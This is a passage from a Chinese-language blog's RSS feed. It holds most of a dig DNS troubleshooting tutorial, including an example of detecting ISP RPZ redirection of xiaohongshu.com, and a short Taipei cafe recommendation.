&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查 MX 記錄&lt;/h3&gt;
&lt;p&gt;查郵件交換伺服器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com MX
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你在排查寄信問題，這是必查項目。&lt;/p&gt;
&lt;h3&gt;查 TXT 記錄&lt;/h3&gt;
&lt;p&gt;查 SPF、DKIM、網域驗證資訊：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com TXT
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也很常用在：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Google Search Console 驗證&lt;/li&gt;
&lt;li&gt;SSL 憑證 DNS 驗證&lt;/li&gt;
&lt;li&gt;郵件 SPF / DKIM / DMARC 檢查&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;查 NS 記錄&lt;/h3&gt;
&lt;p&gt;查詢這個網域使用哪些名稱伺服器：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com NS
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查 SOA 記錄&lt;/h3&gt;
&lt;p&gt;看授權區域的重要資訊，例如序號與主要 DNS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com SOA
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你懷疑 zone 檔沒更新，&lt;code&gt;SOA serial&lt;/code&gt; 常常是第一個觀察點。&lt;/p&gt;
&lt;h3&gt;查 CNAME 記錄&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig www.example.com CNAME
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查任意常見記錄&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig example.com ANY
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;不過要注意，很多 DNS 伺服器已經限制或不再完整支援 &lt;code&gt;ANY&lt;/code&gt; 查詢，因此這個結果不一定可靠。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;指定 DNS 伺服器查詢&lt;/h2&gt;
&lt;p&gt;有時候問題不在網域本身，而是在你問的是哪台 DNS。&lt;/p&gt;
&lt;p&gt;例如你想直接問 Cloudflare：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig @1.1.1.1 example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接問 Google Public DNS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig @8.8.8.8 example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以直接問權威 DNS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig @ns1.example.com example.com A
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這在以下情境非常實用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;比對不同公共 DNS 的回應&lt;/li&gt;
&lt;li&gt;確認權威 DNS 是否已更新&lt;/li&gt;
&lt;li&gt;排查本機 DNS 快取或 ISP DNS 汙染&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;讓輸出更精簡&lt;/h2&gt;
&lt;h3&gt;只看答案&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig example.com +short
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這是平常最常用的寫法之一，特別適合 shell script。&lt;/p&gt;
&lt;p&gt;例如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com A +short
dig example.com AAAA +short
dig example.com MX +short
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;只顯示 Answer Section&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig example.com +noall +answer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這比完整輸出乾淨很多，又比 &lt;code&gt;+short&lt;/code&gt; 保留更多資訊。&lt;/p&gt;
&lt;h3&gt;顯示統計資訊&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig example.com +stats
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;不做額外解釋&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig example.com +nocmd +noquestion +nocomments +nostats
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果你在寫腳本，這些選項很實用。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;反向 DNS 查詢（PTR）&lt;/h2&gt;
&lt;p&gt;如果你想知道某個 IP 對應到哪個主機名稱，可以用 &lt;code&gt;-x&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig -x 8.8.8.8
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;精簡顯示：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig -x 8.8.8.8 +short
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這很適合拿來檢查：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;郵件伺服器反解是否正確&lt;/li&gt;
&lt;li&gt;某個 IP 是否有設定 PTR&lt;/li&gt;
&lt;li&gt;記錄是否對得上主機名稱&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;追查 DNS 委派路徑&lt;/h2&gt;
&lt;h3&gt;使用 &lt;code&gt;+trace&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig example.com +trace
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這個選項會從根 DNS 開始，一路追到最終權威 DNS，非常適合排查：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;委派是否正確&lt;/li&gt;
&lt;li&gt;某層 NS 是否有問題&lt;/li&gt;
&lt;li&gt;為什麼某個公共 DNS 查得到，但某些地方查不到&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你想理解網域解析是怎麼一路被找到的，&lt;code&gt;+trace&lt;/code&gt; 非常值得多玩幾次。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;強制使用 TCP 查詢&lt;/h2&gt;
&lt;p&gt;DNS 預設通常走 UDP，但有些情境會需要 TCP，例如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;回應太大&lt;/li&gt;
&lt;li&gt;DNSSEC 資料較多&lt;/li&gt;
&lt;li&gt;某些防火牆或設備對 UDP 行為特殊&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;可用 &lt;code&gt;+tcp&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com +tcp
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;查 DNSSEC 資訊&lt;/h2&gt;
&lt;p&gt;如果你想看 DNSSEC 相關資訊，可以加上 &lt;code&gt;+dnssec&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com DNSKEY +dnssec
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com DS +dnssec
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這通常比較偏進階排查，但如果你有做 DNSSEC、RPKI、網域安全相關主題，這會很有用。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;實用排查情境&lt;/h2&gt;
&lt;h2&gt;1. 網站剛改 A 記錄，想確認有沒有生效&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;dig example.com A +short
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果結果不是你預期的新 IP，可以再比對不同 DNS：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig @1.1.1.1 example.com A +short
dig @8.8.8.8 example.com A +short
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果權威 DNS 正確、公共 DNS 還沒更新，多半是快取還沒過 TTL。&lt;/p&gt;
&lt;h2&gt;2. 子網域無法開站，懷疑 CNAME 設錯&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;dig blog.example.com CNAME +noall +answer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果沒有答案，就代表可能根本沒設，或設成了別的記錄型態。&lt;/p&gt;
&lt;h2&gt;3. 信件收不到，檢查 MX 與 SPF&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;dig example.com MX +noall +answer
dig example.com TXT +noall +answer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你可以確認：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MX 是否指向正確郵件主機&lt;/li&gt;
&lt;li&gt;SPF 記錄有沒有拼錯&lt;/li&gt;
&lt;li&gt;驗證用 TXT 是否真的存在&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;4. 想確認目前問到哪台 DNS 伺服器&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;dig example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;直接看輸出中的 &lt;code&gt;SERVER&lt;/code&gt; 欄位即可。&lt;/p&gt;
&lt;h2&gt;5. 懷疑授權 DNS 沒更新&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;dig example.com SOA +noall +answer
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;檢查 &lt;code&gt;SOA serial&lt;/code&gt; 有沒有增加，是非常常見的排查方式。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;RPZ 實例：小紅書被導向到異常 IP&lt;/h2&gt;
&lt;p&gt;在台灣網路環境裡，&lt;code&gt;dig&lt;/code&gt; 也很適合拿來觀察 &lt;strong&gt;RPZ（Response Policy Zone）&lt;/strong&gt; 類型的 DNS 封鎖。&lt;/p&gt;
&lt;p&gt;例如查詢 &lt;code&gt;www.xiaohongshu.com&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig www.xiaohongshu.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;範例輸出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.10.6 &amp;lt;&amp;lt;&amp;gt;&amp;gt; www.xiaohongshu.com
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 24336
;; flags: qr rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
;www.xiaohongshu.com.           IN      A

;; ANSWER SECTION:
www.xiaohongshu.com.    277     IN      A       140.111.246.32

;; Query time: 23 msec
;; SERVER: fe80::a4c3:37ff:fe5b:8364%11#53(fe80::a4c3:37ff:fe5b:8364%11)
;; WHEN: Wed Mar 18 14:21:02 CST 2026
;; MSG SIZE  rcvd: 64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這時候如果你看到 &lt;code&gt;www.xiaohongshu.com&lt;/code&gt; 被解析到 &lt;code&gt;140.111.246.32&lt;/code&gt;，就很值得懷疑了。因為這個 IP 看起來不像小紅書正常會用的對外服務位址。&lt;/p&gt;
&lt;p&gt;如果你直接指定某些 ISP 的遞迴 DNS，還可能會看到更明顯的 RPZ 痕跡。例如直接查中華電信：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig @dns.hinet.net www.xiaohongshu.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可能會出現像這樣的結果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.10.6 &amp;lt;&amp;lt;&amp;gt;&amp;gt; @dns.hinet.net www.xiaohongshu.com
; (4 servers found)
;; global options: +cmd
;; Got answer:
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 61890
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 2

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;www.xiaohongshu.com.           IN      A

;; ANSWER SECTION:
www.xiaohongshu.com.    300     IN      A       140.111.246.32

;; ADDITIONAL SECTION:
rpztw.                  60      IN      SOA     localhost. This.is.an.infringing.website.rpztw. 1773812402 60 60 86400 60

;; Query time: 47 msec
;; SERVER: 2001:b000:168::1#53(2001:b000:168::1)
;; WHEN: Wed Mar 18 14:26:11 CST 2026
;; MSG SIZE  rcvd: 149
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這裡最值得注意的是 &lt;code&gt;ADDITIONAL SECTION&lt;/code&gt; 裡面的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;This.is.an.infringing.website.rpztw.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;這種字樣幾乎就是在直接告訴你：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;這不是單純的正常遞迴解析結果&lt;/li&gt;
&lt;li&gt;解析器背後有一個名為 &lt;code&gt;rpztw&lt;/code&gt; 的政策區&lt;/li&gt;
&lt;li&gt;這筆回答是依據政策規則被改寫後送回來的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;換句話說，如果你除了看到異常 IP，還看到像 &lt;code&gt;This.is.an.infringing.website.rpztw.&lt;/code&gt; 這種字串，那就更能說明這是一筆 &lt;strong&gt;明確帶有 RPZ 痕跡&lt;/strong&gt; 的 DNS 回覆。&lt;/p&gt;
&lt;p&gt;接著可以再查這個 IP 是誰的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;whois 140.111.246.32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查詢結果可看到這段關鍵資訊：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;inetnum:        140.109.0.0 - 140.111.255.255
netname:        TANET-BNETS
descr:          imported inetnum object for MOEC
country:        TW
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;從這個結果可以知道，&lt;code&gt;140.111.246.32&lt;/code&gt; 落在台灣教育網路 / 教育體系相關的位址範圍，而不是小紅書原本應該出現的服務網段。這種情況通常就是很典型的訊號：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;查詢本身成功，&lt;code&gt;status&lt;/code&gt; 是 &lt;code&gt;NOERROR&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但答案不是該網站正常的服務 IP&lt;/li&gt;
&lt;li&gt;回答被導向到特定政策或封鎖用途的位址&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;這就是判斷 &lt;strong&gt;疑似被 RPZ 或 DNS 政策導向&lt;/strong&gt; 很實用的方法之一。&lt;/p&gt;
&lt;h3&gt;怎麼做交叉驗證？&lt;/h3&gt;
&lt;p&gt;你可以再指定其他公共 DNS 伺服器比對：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig @1.1.1.1 www.xiaohongshu.com A +short
dig @8.8.8.8 www.xiaohongshu.com A +short
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;本機 / ISP DNS 查到的是 &lt;code&gt;140.111.246.32&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;但其他公共 DNS 查到的是不同結果&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那幾乎就能合理懷疑是本地 DNS 政策、RPZ 或攔截機制造成，而不是網站本身的正式解析結果。&lt;/p&gt;
&lt;p&gt;:::important
只看單一次 &lt;code&gt;dig&lt;/code&gt; 結果不能百分之百斷定所有封鎖機制，但若結合 &lt;strong&gt;異常 IP、whois 所屬資訊、不同 DNS 比對結果&lt;/strong&gt;，通常已經足以判斷這不是正常網站解析。
:::&lt;/p&gt;
&lt;h2&gt;dig 與 nslookup 差在哪？&lt;/h2&gt;
&lt;p&gt;兩者都能查 DNS，但在實務上我會更推薦 &lt;code&gt;dig&lt;/code&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dig&lt;/code&gt; 輸出更完整&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dig&lt;/code&gt; 更適合做除錯&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dig&lt;/code&gt; 更容易搭配 &lt;code&gt;+short&lt;/code&gt;、&lt;code&gt;+trace&lt;/code&gt;、&lt;code&gt;+tcp&lt;/code&gt; 等選項&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dig&lt;/code&gt; 在 Linux / DevOps / 維運場景更常見&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果只是偶爾查一下 DNS，&lt;code&gt;nslookup&lt;/code&gt; 也能用；但如果要真的看懂 DNS 問題，&lt;code&gt;dig&lt;/code&gt; 明顯更好用。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;常見錯誤與排查方向&lt;/h2&gt;
&lt;h3&gt;查不到資料，但網域明明存在&lt;/h3&gt;
&lt;p&gt;先確認查詢類型是不是對的：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com A
dig example.com AAAA
dig example.com MX
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;有時候不是查不到，而是你查錯型態。&lt;/p&gt;
&lt;h3&gt;不同地點查到不同結果&lt;/h3&gt;
&lt;p&gt;通常可能是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;DNS 快取還沒過期&lt;/li&gt;
&lt;li&gt;問到不同遞迴 DNS&lt;/li&gt;
&lt;li&gt;權威 DNS 還沒同步&lt;/li&gt;
&lt;li&gt;有地理位置導向或 DNS 汙染&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;建議直接指定 DNS 比對：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig @1.1.1.1 example.com
dig @8.8.8.8 example.com
dig @9.9.9.9 example.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;SERVFAIL&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;常見原因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;權威 DNS 有問題&lt;/li&gt;
&lt;li&gt;DNSSEC 設定錯誤&lt;/li&gt;
&lt;li&gt;上游伺服器異常&lt;/li&gt;
&lt;li&gt;區域資料不完整&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;這時候很適合搭配：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dig example.com +trace
dig example.com SOA
dig example.com DNSKEY +dnssec
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;code&gt;NXDOMAIN&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;這代表這個名稱不存在。常見原因：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;網域打錯&lt;/li&gt;
&lt;li&gt;子網域尚未建立&lt;/li&gt;
&lt;li&gt;zone 檔尚未套用&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;我最常用的 dig 指令清單&lt;/h2&gt;
&lt;h3&gt;看目前 A 記錄&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig example.com A +short
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查 TXT 驗證記錄&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig example.com TXT +noall +answer
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;查 MX&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig example.com MX +noall +answer
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;問指定 DNS&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig @1.1.1.1 example.com +short
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;反解 IP&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig -x 1.1.1.1 +short
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;追查整條委派&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dig example.com +trace
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;結語&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;dig&lt;/code&gt; 是 DNS 排查幾乎必學的基本功。你不需要一開始就把所有選項背起來，只要先熟這幾個就很夠用：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;A&lt;/code&gt; / &lt;code&gt;AAAA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MX&lt;/code&gt; / &lt;code&gt;TXT&lt;/code&gt; / &lt;code&gt;NS&lt;/code&gt; / &lt;code&gt;SOA&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@DNS伺服器&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+short&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+noall +answer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-x&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;+trace&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;把這些用熟之後，遇到大多數 DNS 問題，你都能比以前更快定位到底是哪一層出錯。&lt;/p&gt;
&lt;p&gt;:::note
&lt;strong&gt;延伸閱讀&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;/posts/change-dns-guide&quot;&gt;如何更改電腦與手機的 DNS 設定？完整教學指南&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;/posts/mtr-basic&quot;&gt;MTR 網路診斷工具完整教學：Linux 網路追蹤與監控指南&lt;/a&gt;
:::&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><category>DNS</category><category>dig</category><category>Network</category><category>Linux</category><category>DevOps</category><category>故障排除</category><category>網路診斷</category><category>命令列</category><author>CHIEN (qian)</author></item><item><title>台北咖啡廳推薦｜適合工作、聊天的不限時咖啡廳整理</title><link>https://blog.chien.dev/posts/taipei_cafe/</link><guid isPermaLink="true">https://blog.chien.dev/posts/taipei_cafe/</guid><description>整理一間適合工作、聊天的台北不限時咖啡廳，包含地址、捷運資訊、插座、Wi-Fi 與實際體驗。</description><pubDate>Mon, 13 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;:::tip
以下順序不分排名
:::&lt;/p&gt;
&lt;h2&gt;台北咖啡廳推薦&lt;/h2&gt;
&lt;p&gt;如果你正在找台北咖啡廳推薦，尤其是適合工作、聊天、放空，或臨時想找一間不限時咖啡廳待一下，這篇先整理我實際去過、覺得值得收進清單的店。&lt;/p&gt;
&lt;p&gt;有時候到台北不知道要去哪裡，想找個可以做事、和朋友聊天，或安靜坐一下的地方，咖啡廳通常就是最方便的選擇。這篇會持續更新我跑過的台北咖啡廳，內容以交通便利度、是否不限時、是否有插座和 Wi-Fi 為主。&lt;/p&gt;
&lt;h2&gt;台北不限時咖啡廳整理&lt;/h2&gt;
&lt;h3&gt;CAFE ACME mini&lt;/h3&gt;
&lt;p&gt;如果你想找一間交通方便、空間舒服的台北不限時咖啡廳，&lt;code&gt;CAFE ACME mini&lt;/code&gt; 是目前我會願意再回訪的一間。&lt;/p&gt;
&lt;p&gt;名稱：CAFE ACME mini&lt;br /&gt;
地址：104臺北市中山區松江路169號&lt;br /&gt;
Google Map 連結：&lt;a href=&quot;https://maps.app.goo.gl/2bR1THgt6ynLddzk9&quot;&gt;CAFE ACME mini&lt;/a&gt;&lt;br /&gt;
最近地標：捷運行天宮站 1 號出口，步行約 5 分鐘。&lt;br /&gt;
不限時：是&lt;br /&gt;
有插座：是&lt;br /&gt;
有 Wi-Fi：是&lt;/p&gt;
&lt;p&gt;整體環境非常不錯，空間寬敞，無論是帶筆電工作、讀書，或單純和朋友聊天都很適合。如果當天人不多，基本上可以舒服地待上一段時間；座位下方或旁邊通常也都有插座可用，對需要長時間使用電腦的人很友善。&lt;/p&gt;
&lt;p&gt;以交通來說，從捷運行天宮站走過來不遠，對平常在中山區活動，或想找台北捷運附近咖啡廳的人來說很方便。這間店目前給我的印象是環境穩定、功能性高，屬於會想再次回訪的台北咖啡廳。&lt;/p&gt;
&lt;p&gt;小結：如果你最近在找台北咖啡廳推薦，又希望店內有 Wi-Fi、有插座、適合工作，&lt;code&gt;CAFE RACO&lt;/code&gt; 會是可以先存起來的一間，我要提醒我自己下次要記得點蛋糕來吃看看。之後有再跑新的台北咖啡廳，也會持續補進這篇名單。&lt;/p&gt;
</content:encoded><category>台北</category><category>咖啡廳</category><category>台北咖啡廳推薦</category><category>不限時咖啡廳</category><category>台北下午茶</category><author>CHIEN (qian)</author></item></channel></rss>